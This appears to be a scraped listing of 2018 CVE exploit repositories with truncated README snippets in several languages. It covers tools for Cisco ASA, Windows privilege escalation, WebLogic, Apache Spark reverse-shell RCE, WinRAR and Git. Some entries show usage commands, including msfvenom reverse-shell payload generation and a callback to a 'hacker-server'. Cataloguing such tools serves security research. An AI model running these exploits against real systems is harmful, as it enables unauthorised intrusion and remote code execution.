CVE-2018-0296

Exploit-CVE-2018-0296 针对近期Cisco ASA路径遍历漏洞的Python漏洞利用工具。 此漏洞利用工具将尝试从索引中返回文件。 使用方法 root@kitploit: $ git clone https://github.com/bhenner1/CVE-2018-0296.git $ cd CVE-2018-0296 $ python CVE-2018-0296.py $ Vulnerable URL/IP -...

CVE-2018-16858

CVE-2018-16858...

CVE-2018-1304

This repository does not have a README...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPE exploit Tested support: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32, Win2003 x64 The original exp does not support xp, 2003. This code adds support for these two systems based on...

DVR_Sploit

DVRSploit Simple python3 script to automate CVE-2018-9995 Requirements: requests pip install requests Usage: root@fuckmachine: python3 dvrsploit.py Enter DVR host: 192.168.69.69 Enter DVR port: 88 Device list:...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

CVE-2018-19131

CVE-2018-19131 演示 作者：Jonathan M. Wilbur 版权年份：2018 许可证：MIT 许可证 请勿使用此工具进行任何非法活动。这不是恶意软件。这仅仅是概念验证。 本项目演示了 CVE-2018-19131，运行于 Docker Compose 应用环境中。 此库构建了易受攻击的 Squid 版本 3.5.27。版本 3.5.28 不 受影响。具体受影响版本列表见此处。 在 Windows 10 和 Mac OS X Mojave 上测试通过。 概念验证使用方法 请勿在已配置代理的同一主机上运行，因为代理会将所有 HTTP...

CVE-2018-4415

all credits to Brightiup https://twitter.com/realBrightiup...

react16-ssr

CVE-2018-6341 https://vulners.com/cve/CVE-2018-6341 A simple PoC to reproduce XSS vulnerability Steps npm i npm run start Go to localhost:3006...

CVE-2018-20250

このリポジトリには README がありません。...

hack-winrar

hack-winrar WinRar is a very widely known software for windows. Previous version of WinRaR was a vulnerability which has been patched in Feb-2019. Most of the people didn't update winrar so they are vulnerable in this Absolute Path Traversal bug CVE-2018-20250 exp for Extracting Code Execution Fr...

CVE-2018-4193

exploit for CVE-2018-4193...

ban-exploitable-bitcoin-nodes

ban-exploitable-bitcoin-nodes ノードからサービス拒否脆弱性を悪用可能なノードをすべて禁止する CVE-2018-17144 bashスクリプト ban.sh の必要条件 コマンドラインJSONプロセッサ jq DebianベースのLinuxにインストール root@kitploit: sudo apt-get install jq スクリプトのダウンロードと使用 git clone https://github.com/iioch/ban-exploitable-bitcoin-nodes.git 実行: root@kitploit: cd...

CVE-2018-11235-PoC

PoC exploit for CVE-2018-11235 root@kitploit: repository: http://REDACTED/2018-11235PoC.git/ return: Submodule 'aaa' https://repo1 registered for path 'aaa' Submodule '../../fakegit/modules/evil' https://repo2 registered for path 'evil' Submodule path 'aaa': checked out...

ExploitVelotiSmart

ExploitVelotiSmart 允许利用LFI漏洞 CVE-2018-14064 https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac https://www.exploit-db.com/exploits/45030/...

UnmarshalPwn

UnmarshalPwn POC for CVE-2018-0824 For details see https://codewhitesec.blogspot.com/2018/06/cve-2018-0624.html...

lempo

Lempo：Portainer上的LDAP暴露 CVE-2018-19466 | Mauro Eldritch（又名 plaguedoktor） root@kitploit: ./lempo.rb TARGETIP TARGETUSER TARGETPASSWORD 此利用程序是对我的演讲《使用PAZUZU黑入Docker》的补充。 演示 | 日期| 会议| 视频链接| 幻灯片链接 ---|---|---|---|--- 1| 2018年11月| DEVFEST Siberia| 待定|...

CVE-2018-11770

CVE-2018-11770 Apache Spark 未授权反向 Shell RCE 基于 该 Metasploit 模块 重写的独立 Python 3 RCE 漏洞利用程序 漏洞利用 POC 在此说明。利用代码本身 在此解释。 在 Python 3.7 环境下 对该目标 进行了测试。 使用方法： root@kitploit: root@Kali:/Infosec/RubyStuff/Apache-Spark-RCE msfvenom -p java/shellreversetcp LHOST=192.168.92.134 LPORT=4444 -f jar -o...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPE exploit Supports both x32 and x64. Tested on: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64. Usage root@kitploit: CVE-2018-8120 exploit by @unamerhttps://github.com/unamer Usage: exp.exe command Example:...

Trend_Micro_POC

TrendMicroPOC CVE-2018-3608...